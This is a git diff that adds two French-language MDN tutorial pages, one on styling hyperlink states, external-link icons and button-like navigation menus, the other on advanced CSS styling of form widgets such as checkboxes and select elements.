- - - - diff --git a/files/fr/learn/css/styling_text/styling_links/index.html b/files/fr/learn/css/styling_text/styling_links/index.html new file mode 100644 index 0000000000..f216d54186 --- /dev/null +++ b/files/fr/learn/css/styling_text/styling_links/index.html @@ -0,0 +1,448 @@ +--- +title: Mise en forme des liens +slug: Learn/CSS/Styling_text/Mise_en_forme_des_liens +tags: + - Article + - Beginner + - CSS + - Focus + - Guide + - Learn + - Links + - Pseudo-class + - hover + - hyperlinks + - menus + - tabs +translation_of: Learn/CSS/Styling_text/Styling_links +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}
+ +

Lors de la mise en forme de liens, il est important de comprendre comment utiliser les pseudo-classes pour mettre en forme efficacement les états des liens, et comment créer des liens pour les utiliser dans diverses fonctionnalités d'interface courantes, telles que les menus de navigation et les onglets. Nous allons examiner tous ces sujets dans cet article.

+ + + + + + + + + + + + +
Prérequis :notions de base en informatique, notions de base en HTML (étudier l'Introduction au HTML), notions de base en CSS (étudier l'Introduction à CSS), initiation à la mise en forme de texte.
Objectif :apprendre à mettre en forme les états des liens, et comment utiliser efficacement les liens dans les fonctionnalités courantes de l'IU, comme les menus de navigation.
+ +

Un coup d'œil à quelques liens

+ +

Nous avons regardé comment les liens sont implémentés dans votre HTML selon les meilleures pratiques dans Création d'hyperliens. Dans cet article, nous allons développer ces connaissances en vous montrant les meilleures pratiques pour la mise en forme de liens.

+ +

État des liens

+ +

La première chose à comprendre est le concept d'états des liens : les différents états dans lesquels les liens peuvent exister, qui peuvent être mis en forme en utilisant différentes pseudo-classes :

+ +
    +
  • link (non visité) : l'état par défaut dans lequel se trouve un lien, lorsqu'il n'est dans aucun autre état ; cela peut être spécifiquement mis en forme en utilisant la pseudo classe {{cssxref(":link")}} ;
    • +
  • visited : un lien qui a déjà été visité (qui existe dans l'historique du navigateur), mis en forme en utilisant la pseudo-classe {{cssxref(":visited")}} ;
    • +
  • hover : un lien qui est survolé par le pointeur de la souris de l'utilisateur, mis en forme en utilisant la pseudo classe {{cssxref(":hover")}} ;
    • +
  • focus : un lien qui a reçu la focalisation (par exemple, quand l'utilisateur du clavier s'est déplacé en utilisant la touche Tab ou similaire, ou qui a reçu la focalisation par programmation par utilisation de {{domxref("HTMLElement.focus()")}}) ; ceci est mis en forme en utilisant la pseudo-classe {{cssxref(":focus")}} ;
    • +
  • active : un lien en cours d'activation (par exemple, lorsqu'on clique dessus), mis en forme en utilisant la pseudo classe {{cssxref (":active")}}.
    • +
+ +

Styles par défaut

+ +

L'exemple suivant illustre le comportement d'un lien par défaut (le CSS simplement agrandit et centre le texte pour le rendre plus visible).

+ +
<p><a href="#">Un simple lien</a></p>
+
+ +
p {
+  font-size: 2rem;
+  text-align: center;
+}
+ +

{{ EmbedLiveSample('Styles_par_défaut', '100%', 120) }}

+ +
+

Note : tous les liens dans les exemples de cette page sont de faux liens : un # (hash, ou signe dièse) est mis à la place de l'URL réelle. En effet, si des liens réels étaient inclus, un simple clic sur ceux-ci cassererait les exemples (vous vous retrouveriez avec une erreur, ou une page chargée dans l'exemple intégré de laquelle vous ne pourriez pas revenir) ; # ne redirige que vers la page actuelle.

+
+ +

Vous remarquerez quelques petites choses en explorant les styles par défaut :

+ +
    +
  • les liens sont soulignés ;
    • +
  • les liens non visités sont bleus ;
    • +
  • les liens visités sont en violet ;
    • +
  • le survol d'un lien fait se changer en petite icône de main le pointeur de la souris ;
    • +
  • les liens ayant reçus la focalisation ont un contour autour d'eux : vous devriez pouvoir vous focaliser sur les liens de cette page avec le clavier en appuyant sur la touche Tab (sur Mac, il se peut que vous ayez besoin d'activer l'option Accès clavier complet : Toutes les commandes en appuyant sur Ctrl + F7 pour que cela fonctionne) ;
    • +
  • les liens actifs sont rouges (essayez de maintenir le bouton de la souris enfoncé sur le lien lorsque vous cliquez dessus).
    • +
+ +

De façon assez intéressante, ces styles par défaut sont pratiquement les mêmes que ce qu'ils étaient aux premiers temps des navigateurs, au milieu des années 1990. C'est parce que les utilisateurs connaissent - et s'attendent à - ce comportement ; si les liens étaient mis en forme différemment, cela créerait beaucoup de confusion. Cela ne signifie pas que vous ne deviez pas du tout mettre en forme les liens, mais simplement que vous ne devriez pas vous éloigner trop du comportement attendu. Vous devriez au moins :

+ +
    +
  • utiliser le soulignement pour les liens, mais pas pour d'autres choses ; si vous ne voulez pas souligner les liens, au moins les mettre en évidence d'une autre manière ;
    • +
  • les faire réagir d'une manière ou d'une autre lorsqu'ils sont survolés ou lorsqu'ils ont reçu la focalisation, et d'une manière légèrement différente lorsqu'ils sont activés.
    • +
+ +

Les styles par défaut peuvent être désactivés/modifiés en utilisant les propriétés CSS suivantes :

+ +
    +
  • {{cssxref ("color")}} pour la couleur du texte ;
    • +
  • {{cssxref ("cursor")}} pour le style du pointeur de la souris - vous ne devriez pas le désactiver, à moins d'avoir une très bonne raison ;
    • +
  • {{cssxref ("outline")}} pour le contour du texte (un contour est similaire à une bordure, la seule différence étant que la bordure occupe de l'espace dans la boîte et non un contour, elle se trouve juste au-dessus du Contexte) ; le contour est une aide utile à l'accessibilité, alors réfléchissez bien avant de la désactiver ; vous devriez au moins dupliquer aussi les styles affectés à l'état link hover sur l'état de focalisation.
    • +
+ +
+

Note : vous n'êtes pas limité aux propriétés ci-dessus pour mettre en forme vos liens ; vous êtes libre d'utiliser les propriétés que vous aimez. Essayez seulement de ne pas devenir trop fou !

+
+ +

Mise en forme de quelques liens

+ +

Maintenant que nous avons examiné les états par défaut en détail, regardons un ensemble typique de mises en forme de liens.

+ +

Pour commencer, nous écrirons notre jeu de règles vides :

+ +
a {
+
+}
+
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}
+ +

Cet ordre est important parce que les styles de liens se construisent les uns par dessus les autres ; par exemple, les styles de la première règle s'appliqueront à toutes les suivantes, et lorsqu'un lien est activé, il est également survolé. Si vous les mettez dans le mauvais ordre, les choses ne fonctionneront pas correctement. Pour se souvenir de l'ordre, vous pouvez essayer d'utiliser un moyen mnémotechnique comme La Vie Fuit la HAine (LoVe Fears HAte).

+ +

Maintenant, ajoutons quelques informations supplémentaires pour mettre en forme cela correctement :

+ +
body {
+  width: 300px;
+  margin: 0 auto;
+  font-size: 1.2rem;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: #265301;
+}
+
+a:visited {
+  color: #437A16;
+}
+
+a:focus {
+  border-bottom: 1px solid;
+  background: #BAE498;
+}
+
+a:hover {
+  border-bottom: 1px solid;
+  background: #CDFEAA;
+}
+
+a:active {
+  background: #265301;
+  color: #CDFEAA;
+}
+ +

Nous allons aussi fournir un extrait d'HTML auquel appliquer le CSS :

+ +
<p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla
+Firefox</a>, <a href="#">Google Chrome</a>, et
+<a href="#">Microsoft Edge</a>.</p>
+ +

En mettant les deux ensemble, nous obtenons ce résultat :

+ +

{{EmbedLiveSample('Mise_en_forme_de_quelques_liens', '100%', 150)}}

+ +

Alors qu'avons-nous fait ici ? Cela semble certainement différent de la mise en forme par défaut, mais cela donne toujours une expérience suffisamment familière pour que les utilisateurs sachent ce qui se passe :

+ +
    +
  • les deux premières règles ne sont pas très intéressantes pour cette discussion ;
    • +
  • la troisième règle utilise le sélecteur a pour se débarasser du soulignement de texte par défaut et du contour de focalisation (qui varie d'un navigateur à l'autre), et elle ajoute une petite quantité de remplissage à chaque lien ; tout ceci deviendra clair plus tard ;
    • +
  • ensuite, nous utilisons les sélecteurs a:link et a:visited pour définir deux variations de couleur sur les liens non visités et visités, afin qu'ils soient distincts ;
    • +
  • les deux règles suivantes utilisent a:focus et a:hover pour faire que les liens centrés et survolés aient des couleurs d'arrière-plan différentes, plus un soulignement afin que le lien se démarque encore davantage ; deux points à noter ici : +
      +
    • le soulignement a été créé en utilisant {{cssxref("border-bottom")}}, pas {{cssxref("text-decoration")}} ; certaines personnes préfèrent cela parce que le premier a de meilleures options de mise en forme que le second, et qu'il est tracé un peu plus bas, de sorte qu'il ne coupe pas les jambages du mot souligné (par exemple, les jambes du g et du y) ;
      • +
    • la valeur {{cssxref("border-bottom")}} a été définie comme 1px solid, sans couleur indiquée ; cela fait que la bordure adopte la même couleur que le texte de l'élément, ce qui est utile dans des cas comme celui-ci, où le texte a une couleur différente dans chaque cas ;
      • +
    +
    • +
  • enfin, a:active est utilisé pour donner aux liens un schéma de couleurs inversé pendant qu'ils sont activés, afin de faire comprendre que quelque chose d'important est en train de se passer !
    • +
+ +

Apprentissage actif : mettez en forme vos propres liens

+ +

Dans cette session d'apprentissage actif, nous aimerions que vous utilisiez notre ensemble de règles vide, et que vous ajoutiez vos propres déclarations pour que les liens soient vraiment cools. Utilisez votre imagination, soyez fou. Nous sommes sûrs que vous pourrez trouver quelque chose d'encore plus cool et tout aussi fonctionnel que notre exemple ci-dessus.

+ +

Si vous faites une erreur, vous pouvez toujours l'annuler en utilisant le bouton Réinitialiser. Si vous êtes vraiment bloqué, appuyez sur le bouton Afficher la solution pour insérer l'exemple que nous avons montré ci-dessus.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

Inclusion d'icônes dans des liens

+ +

Une pratique courante consiste à inclure des icônes dans des liens pour fournir plus d'un indicateur concernant le type de contenu vers lequel le lien pointe. Regardons un exemple très simple qui ajoute une icône à des liens externes (les liens qui mènent à d'autres sites). Une telle icône ressemble généralement à une petite flèche pointant hors d'une boîte ; pour cet exemple, nous allons utiliser cet excellent exemple de icons8.com.

+ +

Regardons un peu d'HTML et de CSS qui nous donneront l'effet que nous voulons. Tout d'abord, un peu d'HTML simple à mettre en forme :

+ +
<p>Pour davantage d'information sur la météo, visitez notre <a href="http://#">page météo</a>,
+jetez un œil sur <a href="http://#">météo sur Wikipedia</a>, ou regardez la <a href="http://#">météo sur Science Extrême </a>.</p>
+ +

Ensuite, le CSS:

+ +
body {
+  width: 300px;
+  margin: 0 auto;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: blue;
+}
+
+a:visited {
+  color: purple;
+}
+
+a:focus, a:hover {
+  border-bottom: 1px solid;
+}
+
+a:active {
+  color: red;
+}
+
+a[href*="http"] {
+  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
+  background-size: 16px 16px;
+  padding-right: 19px;
+}
+ +

{{ EmbedLiveSample("Inclusion_d'icônes_dans_des_liens", '100%', 150) }}

+ +

Alors, qu'est-ce qui se passe ici ? Nous allons sauter le gros du CSS, du fait que c'est seulement la même information que celle que vous avez déjà regardée. La dernière règle est cependant intéressante : ici, nous insérons une image d'arrière-plan personnalisée sur les liens externes d'une manière similaire à celle dont nous avons traité les puces personnalisées sur les éléments de liste dans le dernier article ; cette fois, nous utilisons le raccourci {{cssxref("background")}} au lieu des propriétés individuelles. Nous définissons le chemin vers l'image que nous voulons insérer, nous spécifions no-repeat de façon à obtenir l'insertion d'une seule une copie, puis nous indiquons la position comme étant 100% de la distance à droite du contenu du texte, et 0 pixels à partir du haut.

+ +

Nous utilisons également {{cssxref("background-size")}} pour indiquer à quelle taille nous voulons afficher l'image d'arrière-plan - il est utile d'avoir une icône plus grande et de la redimensionner comme nécessaire dans un but de conception web adaptative. Cela ne fonctionne cependant qu'avec IE 9 et ultérieur, donc si vous avez besoin de prendre en charge ces navigateurs plus anciens, il vous suffira de redimensionner l'image et de l'insérer telle quelle.

+ +

Enfin, nous avons mis un peu de {{cssxref("padding-right")}} sur les liens pour faire de la place afin que l'image d'arrière-plan se place à l'intérieur, de sorte que nous ne la faisions chevaucher le texte.

+ +

Un dernier mot : comment avons-nous sélectionné uniquement les liens externes ? Eh bien, si vous écrivez vos liens HTML correctement, vous ne devriez utiliser des URL absolues que pour les liens externes : il est plus efficace d'utiliser des liens relatifs pour la redirection vers d'autres parties de votre propre site. Le texte "http" ne devrait donc apparaître que dans les liens externes, et nous pouvons le sélectionner avec un sélecteur d'attribut : a[href*="http] sélectionne les éléments {{htmlelement("a")}}, mais seulement s'ils ont un attribut {{htmlattrxref ("href","a")}} ayant une valeur contenant "http" quelque part à l'intérieur.

+ +

Alors voilà, essayez de revoir la section d'apprentissage actif ci-dessus et d'explorer cette nouvelle technique !

+ +
+

Note : ne vous inquiétez pas si vous n'êtes pas encore familier avec les arrières-plans et le responsive web design ; ceux-ci sont expliqués par ailleurs.

+
+ +

Mise en forme de liens comme des boutons

+ +

Les outils que vous avez explorés jusqu'à présent dans cet article peuvent également être utilisés d'autres façons. Par exemple, des états tels que hover peuvent être utilisés pour mettre en forme de nombreux éléments différents, pas seulement des liens : vous pouvez définir l'état de survol des paragraphes, des éléments de liste ou d'autres choses.

+ +

En outre, les liens sont très couramment mis en forme de façon à ressembler et à se comporter comme des boutons dans certaines circonstances : un menu de navigation de site Web est généralement balisé comme une liste contenant des liens, et cela peut facilement être mis en forme pour ressembler à un ensemble de boutons de contrôle ou d'onglets qui fournissent à l'utilisateur un accès à d'autres parties du site. Voyons comment.

+ +

D'abord, un peu d'HTML :

+ +
<ul>
+  <li><a href="#">Accueil</a></li><li><a href="#">Pizza</a></li><li><a href="#">Musique</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland<e/a></li>
+</ul>
+ +

Et maintenant, notre CSS :

+ +
body,html {
+  margin: 0;
+  font-family: sans-serif;
+}
+
+ul {
+  padding: 0;
+  width: 100%;
+}
+
+li {
+  display: inline;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  display: inline-block;
+  width: 19.5%;
+  margin-right: 0.625%;
+  text-align: center;
+  line-height: 3;
+  color: black;
+}
+
+li:last-child a {
+  margin-right: 0;
+}
+
+a:link, a:visited, a:focus {
+  background: yellow;
+}
+
+a:hover {
+  background: orange;
+}
+
+a:active {
+  background: red;
+  color: white;
+}
+ +

Cela nous donne le résultat suivant :

+ +

{{ EmbedLiveSample('Mise_en_forme_de_liens_comme_des_boutons', '100%', 100) }}

+ +

Expliquons ce qui se passe ici, en nous concentrant sur les parties les plus intéressantes :

+ +
    +
  • notre deuxième règle supprime le {{cssxref("padding")}} par défaut de l'élément {{htmlelement ("ul")}}, et définit sa largeur de façon à couvrir 100% du conteneur externe (le {{htmlelement("body")}} dans ce cas) ;
    • +
  • par défaut, les éléments {{htmlelement("li")}} se présentent normalement sous forme de blocs (voir les types de boîtes CSS pour rappel), ce qui signifie qu'ils vont se trouver sur leurs propres lignes ; dans ce cas, nous créons une liste horizontale de liens ; pour cela, dans la troisième règle, nous mettons la propriété {{cssxref("display")}} à inline, ce qui fait que les éléments de la liste se trouvent tous sur la même ligne : ils se comportent maintenant comme des éléments inline ;
    • +
  • la quatrième règle, qui met en forme l'élément {{htmlelement("a")}}, est la plus compliquée ici ; passons-la en revue étape par étape : +
      +
    • comme dans les exemples précédents, nous commençons par désactiver la valeur par défaut {{cssxref("text-decoration")}} et {{cssxref("outline")}} : nous ne voulons pas que ceux-ci gâchent notre présentation ;
      • +
    • ensuite, nous mettons le {{cssxref ("display")}} à inline-block : les éléments {{htmlelement ("a")}} sont inline par défaut et, bien que nous ne voulions pas qu'ils s'étalent sur leurs propres lignes comme une valeur de block le ferait, nous voulons néanmoins être en mesure de les dimensionner : inline-block nous permet de le réaliser ;
      • +
    • maintenant, passons au dimensionnement ; nous voulons remplir toute la largeur de l'{{htmlelement("ul")}}, laisser une petite marge entre chaque bouton (mais sans espace sur le bord droit), et nous avons 5 boutons pour accueillir tout cela, qui doit avoir la même taille ; pour ce faire, nous définissons la {{cssxref ("width")}} à 19,5%, et la {{cssxref ("margin-right")}} à 0,625% ; vous remarquerez que toute cette largeur s'élève à 100,625%, ce qui ferait que le dernier bouton déborde sur l'<ul> et passe à la ligne suivante ; cependant, nous le ramenons à 100%, en utilisant la règle suivante, qui sélectionne seulement le dernier <a> dans la liste, et en supprime la marge ; terminé !
      • +
    • les trois dernières déclarations sont assez simples et ne sont principalement présentes qu'à des fins esthétiques ; nous centrons le texte à l'intérieur de chaque lien, nous définissons {{cssxref("line-height")}} à 3 pour donner un peu de hauteur aux boutons (ce qui a aussi l'avantage de centrer le texte verticalement) et nous définissons la couleur du texte à noir.
      • +
    +
    • +
+ +
+

Note : vous avez peut-être remarqué que les éléments de la liste dans le HTML sont tous placés sur la même ligne ; cela est dû au fait que les espaces/sauts de ligne entre les éléments inline block créent des espaces sur la page, tout comme des espaces entre les mots, et que de tels espaces casseraient la disposition de notre menu de navigation horizontale ; nous avons donc supprimé les espaces ; vous pouvez trouver plus d'informations (et de solutions) à propos de ce problème sur Fighting the space between inline block elements.

+
+ +

Résumé

+ +

Nous espérons que cet article vous a fourni tout ce que vous aviez besoin de savoir sur les liens - pour l'instant ! L'article final de notre module de Mise en forme de texte détaille comment utiliser des polices personnalisées (ou polices web, comme elles sont mieux connues) sur vos sites web.

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

+ +

Dans ce module

+ + + + diff --git a/files/fr/learn/forms/advanced_form_styling/index.html b/files/fr/learn/forms/advanced_form_styling/index.html new file mode 100644 index 0000000000..6d6a68bd4c --- /dev/null +++ b/files/fr/learn/forms/advanced_form_styling/index.html @@ -0,0 +1,469 @@ +--- +title: Composition avancée des formulaires HTML +slug: Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms +tags: + - Avancé + - CSS + - Exemple + - Formulaires + - Guide + - HTML + - Web +translation_of: Learn/Forms/Advanced_form_styling +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}
+ +

Dans cet article, nous verrons comment utiliser les CSS avec les formulaires HTML pour modifier le style de certains widgets difficiles à personnaliser. Comme nous l'avons vu dans l'article précédent, les champs texte et les boutons sont parfaitement compatibles avec les CSS. Maintenant, nous allons approfondir la part sombre de la composition stylistique des formulaires HTML.

+ +

Avant d'aller plus loin, faisons un rappel pour deux types de widgets de formulaires :

+ +
+
la brute
+
Éléments, dont le style n'est que difficilement modifiable, demandant des astuces complexes, nécessitant parfois de faire appel à une connaissance avancée des CSS3.
+
le truand
+
Oubliez l'emploi des CSS pour modifier le style de ces éléments. Au mieux, vous pourrez faire des petites choses, mais elle ne seront pas reproductibles sur d'autres navigateurs ; il ne sera jamais possible de prendre un contrôle total de leur apparence.
+
+ +

Possibilités d'expression avec les CSS

+ +

Le problème fondamental avec les widgets de formulaire, autres que champs de texte et boutons, est que dans de nombreux cas, le CSS ne possède pas assez d'expressions pour styliser correctement les widgets complexes.

+ +

L'évolution récente du HTML et des CSS a étendu l'expressivité des CSS :

+ +
    +
  • CSS 2.1 était très limité et n'offrait que trois pseudo-classes : + +
      +
    • {{cssxref(":active")}}
      • +
    • {{cssxref(":focus")}}
      • +
    • {{cssxref(":hover")}}
      • +
    +
    • +
  • CSS Selector Level 3 a ajouté quelques nouvelles pseudo-classes relatives aux formulaires HTML : +
      +
    • {{cssxref(":enabled")}}
      • +
    • {{cssxref(":disabled")}}
      • +
    • {{cssxref(":checked")}}
      • +
    • {{cssxref(":indeterminate")}}
      • +
    +
    • +
  • CSS Basic UI Level 3 a ajouté quelques autres pseudo-classes pour décrire l'état du widget : +
      +
    • {{cssxref(":default")}}
      • +
    • {{cssxref(":valid")}}
      • +
    • {{cssxref(":invalid")}}
      • +
    • {{cssxref(":in-range")}}
      • +
    • {{cssxref(":out-of-range")}}
      • +
    • {{cssxref(":required")}}
      • +
    • {{cssxref(":optional")}}
      • +
    • {{cssxref(":read-only")}}
      • +
    • {{cssxref(":read-write")}}
      • +
    +
    • +
  • CSS Selector Level 4 actuellement en développement actif et objet de grandes discussions ne prévoit pas d'ajouter grand‑chose pour améliorer les formulaires : +
      +
    • {{cssxref(":user-error")}} qui est juste une amélioration de la pseudo‑classe {{cssxref(":invalid")}}.
      • +
    +
    • +
+ +

Voilà un bon début, mais il y a deux problèmes. Primo, certains navigateurs ne mettent pas en œuvre des fonctionnalités au-delà de CSS 2.1. Secundo, ils ne sont tout simplement pas assez perfectionnés pour styliser des widgets complexes, comme les sélecteurs de date.

+ +

Il y a quelques expérimentations par les fournisseurs de navigateurs pour étendre l'expressivité des CSS sur les formulaires ; dans certains cas, il est bon de savoir ce qui est disponible..

+ +
+

Avertissement : Même si ces expérimentations sont intéressantes, elles ne sont pas normées, ce qui signifie qu'elles ne sont pas fiables. Si vous les utilisez (et vous ne devriez probablement pas le faire souvent), vous le faites à vos propres risques et périls ; vous faites quelque chose qui peut être mauvais pour le Web en utilisant des propriétés non standard.

+
+ + + +

Contrôle de l'apparence des éléments de formulaire

+ +

Les navigateurs fondés sur WebKit- (Chrome, Safari) et Gecko- (Firefox) offrent les meilleures possibilités de personnalisation des widgets HTML. Ils sont aussi disponibles sur plateforme croisées, et donc ils nécessitent un mécanisme de bascule entre les widgets de « look and feel » natif  et widget stylistiquement composables par l'utilisateur.

+ +

À cette fin, ils utilisent une propriété propriétaire : {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}. Ces propriétés ne sont pas normées et ne doivent pas être utilisées. En fait, elles se comportent même différemment entre WebKit et Gecko. Cependant, il y a une valeur qu'il est bon de connaître : none. Avec cette valeur, vous êtes en mesure d'obtenir un contrôle (presque total) sur le style des widgets donnés.

+ +

Donc, si vous avez du mal à appliquer un style à un élément, essayez d'utiliser ces propriétés propriétaires. Nous verrons quelques exemples ci-dessous, mais le cas d'utilisation le plus connu de cette propriété est relatif au style des champs de recherche sur les navigateurs WebKit :

+ +
<style>
+input[type=search] {
+    border: 1px dotted #999;
+    border-radius: 0;
+
+    -webkit-appearance: none;
+}
+</style>
+
+<form>
+    <input type="search">
+</form>
+ +

{{EmbedLiveSample("Contrôle_de_l'apparence_des_éléments_de_formulaire", 250, 40)}}

+ +
+

Note : Il est toujours difficile de prédire l'avenir, quand on parle de techniques Web. L'extension des possibilités d'expression des CSS est difficile ; il y a un travail exploratoire avec d'autres spécifications, telles que Shadow DOM qui offrent certaines perspectives. La quête du formulaire de style totalement composable est loin d'être terminée.

+
+ +

Exemples

+ +

Cases à cocher et boutons radio

+ +

Composer le style d'une case à cocher ou d'un bouton radio conduit à un certain désordre en soi. Par exemple, la taille des cases à cocher et des boutons radio n'est pas vraiment destinée à être modifiée et les navigateurs peuvent réagir très différemment, si vous essayez de le faire.

+ +

Une simple case à cocher

+ +

Considérons la case à cocher suivante :

+ +
<span><input type="checkbox"></span>
+ +
span {
+    display: inline-block;
+    background: red;
+}
+
+input[type=checkbox] {
+    width : 100px;
+    height: 100px;
+}
+ +

Voici les différentes façons dont divers navigateurs gèrent cela :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurRendu
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
Internet Explorer 11 (Windows 10)
Edge 16 (Windows 10)
+ +

Un exemple un peu plus compliqué

+ +

Comme Opera et Internet Explorer n'ont pas de fonctionnalités telles que {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}, leur utilisation n'est pas appropriée. Heureusement, nous sommes dans un cas où les CSS disposent d'assez d'expressions pour trouver des solutions. Prenons un exemple courant :

+ +
<form>
+  <fieldset>
+    <p>
+      <input type="checkbox" id="first" name="fruit-1" value="cerise">
+      <label for="first">J'aime les cerises</label>
+    </p>
+    <p>
+      <input type="checkbox" id="second" name="fruit-2" value="banane" disabled>
+      <label for="second">Je ne peux pas aimer la banane</label>
+    </p>
+    <p>
+      <input type="checkbox" id="third" name="fruit-3" value="fraise">
+      <label for="third">J'aime les fraises</label>
+    </p>
+  </fieldset>
+</form>
+ +

avec une composition stylistique élémentaire :

+ +
body {
+  font: 1em sans-serif;
+}
+
+form {
+  display: inline-block;
+
+  padding: 0;
+  margin : 0;
+}
+
+fieldset {
+  border : 1px solid #CCC;
+  border-radius: 5px;
+  margin : 0;
+  padding: 1em;
+}
+
+label {
+  cursor : pointer;
+}
+
+p {
+  margin : 0;
+}
+
+p+p {
+  margin : .5em 0 0;
+}
+ +

Maintenant composons pour avoir une case à cocher personnalisée.

+ +

Le plan consiste à remplacer la case à cocher native par une image de notre choix. Tout d'abord, nous devons préparer une image avec tous les états requis pour une case à cocher. Ces états sont : non coché, coché, non coché désactivé et coché désactivé. Cette image sera utilisée comme fantôme des CSS :

+ +

Check box CSS Sprite

+ +

Commençons par masquer les cases à cocher d'origine. Nous les déplacerons simplement à l'extérieur de la fenêtre de visualisation de la page. Il y a deux choses importantes à considérer ici :

+ +
    +
  • N'utilisez pas display:none pour masquer la case à cocher, car comme nous le verrons ci-dessous, nous avons besoin que la case à cocher soit disponible pour l'utilisateur. Avec display:none, la case à cocher n'est plus accessible à l'utilisateur, ce qui signifie qu'il est impossible de la cocher ou de la décocher.
    • +
  • Nous utiliserons quelques sélecteurs CSS3 pour réaliser notre style. Afin de prendre en charge les navigateurs existants, nous pouvons préfixer tous nos sélecteurs avec la pseudo-classe {{cssxref(":root")}}. Dans l'état actuel des implémentations, tous les navigateurs prenant en charge ce dont nous avons besoin prenent en charge également la pseudo-classe {{cssxref(":root")}}, mais d'autres ne le font pas. Ceci est un exemple de moyen pratique pour filtrer l'ancien Internet Explorer. Ces anciens navigateurs verront la case à cocher normale tandis que les navigateurs modernes verront la case à cocher personnalisée.
    • +
+ +
:root input[type=checkbox] {
+  /* les cases à cocher d'origine sont placées en dehors de la vue */
+  position: absolute;
+  left: -1000em;
+}
+ +

Maintenant que nous sommes débarrassés des cases à cocher natives, ajoutons la nôtre. Pour cela, nous utiliserons le pseudo élément {{cssxref(":before")}} de l'élément {{HTMLElement("label")}} qui suit la case à cocher originale. Ainsi, dans le sélecteur suivant, nous utilisons le sélecteur d'attributs pour cibler la case à cocher, puis nous utilisons le sélecteur de parents adjacent pour cibler le label suivant la case à cocher originale. Enfin, nous accédons au pseudo-élément {{cssxref(":before")}} et le styliser pour qu'il affiche notre case à cocher personnalisée non cochée.

+ +
:root input[type=checkbox] + label:before {
+  content: "";
+  display: inline-block;
+  width  : 16px;
+  height : 16px;
+  margin : 0 .5em 0 0;
+  background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0;
+
+/* Ce qui suit est utilisé pour ajuster la position des cases à cocher
+   sur la ligne de base suivante */
+
+  vertical-align: bottom;
+  position: relative;
+  bottom: 2px;
+}
+ +

Nous utilisons les pseudo-classes {{cssxref(":checked")}} et {{cssxref(":disabled")}} sur la case à cocher d'origine pour changer l'état de notre case à cocher personnalisée en conséquence. Comme nous utilisons un fantôme des CSS, tout ce que nous avons à faire est de changer la position de l'arrière-plan.

+ +
:root input[type=checkbox]:checked + label:before {
+  background-position: 0 -16px;
+}
+
+:root input[type=checkbox]:disabled + label:before {
+  background-position: 0 -32px;
+}
+
+:root input[type=checkbox]:checked:disabled + label:before {
+  background-position: 0 -48px;
+}
+ +

Une dernière chose (mais très importante) : lorsqu'un utilisateur utilise le clavier pour naviguer d'un widget à un autre, chaque widget qui reçoit le focus doit être marqué visuellement. Comme nous cachons les cases à cocher natives, nous devons implémenter cette fonctionnalité nous-mêmes : l'utilisateur doit pouvoir voir où elles se trouvent dans le formulaire. Le CSS suivant met en œuvre le focus sur les cases à cocher personnalisées.

+ +
:root input[type=checkbox]:focus + label:before {
+  outline: 1px dotted black;
+}
+ +

Voyez directement ici le résultat :

+ +

{{EmbedLiveSample("Un_exemple_un_peu_plus_compliqué", 250, 130)}}

+ +

Gérer le cauchemar <select>

+ +

L'élément {{HTMLElement("select")}} est considéré comme un widget « truand », car il est impossible de lui composer un style cohérent entre les plateformes. Toutefois, certaines choses restent possibles. Plutôt qu'une longue explication, voyons un exemple :

+ +
<select>
+  <option>Cerise</option>
+  <option>Banane</option>
+  <option>Fraise</option>
+</select>
+ +
select {
+  width   : 80px;
+  padding : 10px;
+}
+
+option {
+  padding : 5px;
+  color   : red;
+}
+ +

Le tableau suivant montre comment divers navigateurs gèrent cela, dans deux cas. Les deux premières colonnes ne sont que l'exemple ci-dessus. Les deux colonnes suivantes utilisent des CSS personnalisés supplémentaires, pour avoir plus de contrôle sur l'apparence du widget :

+ +
select, option {
+  -webkit-appearance : none; /* Pour avoir le contrôle de l'apparence sur WebKit/Chromium */
+  -moz-appearance : none; /* Pour avoir le contrôle sur l'apparence sur Gecko */
+
+  /* Pour avoir le contrôle sur l'apparence et sur Trident (IE)
+     Notez que cela fonctionne aussi sur Gecko et a des effets limités sur WebKit */
+  background : none;
+}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurRendu classiqueRendu travaillé
ferméouvertferméouvert
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
IE11 (Windows 10)
Edge 16 (Windows 10)
+ +

Comme vous pouvez le voir, malgré l'aide des propriétés -*-appearance, il reste quelques problèmes :

+ +
    +
  • La propriété {{cssxref("padding")}} est gérée de manière incohérente entre les divers systèmes d'exploitation et navigateurs.
    • +
  • Internet Explorer ancien ne permet pas un style sans à-coups.
    • +
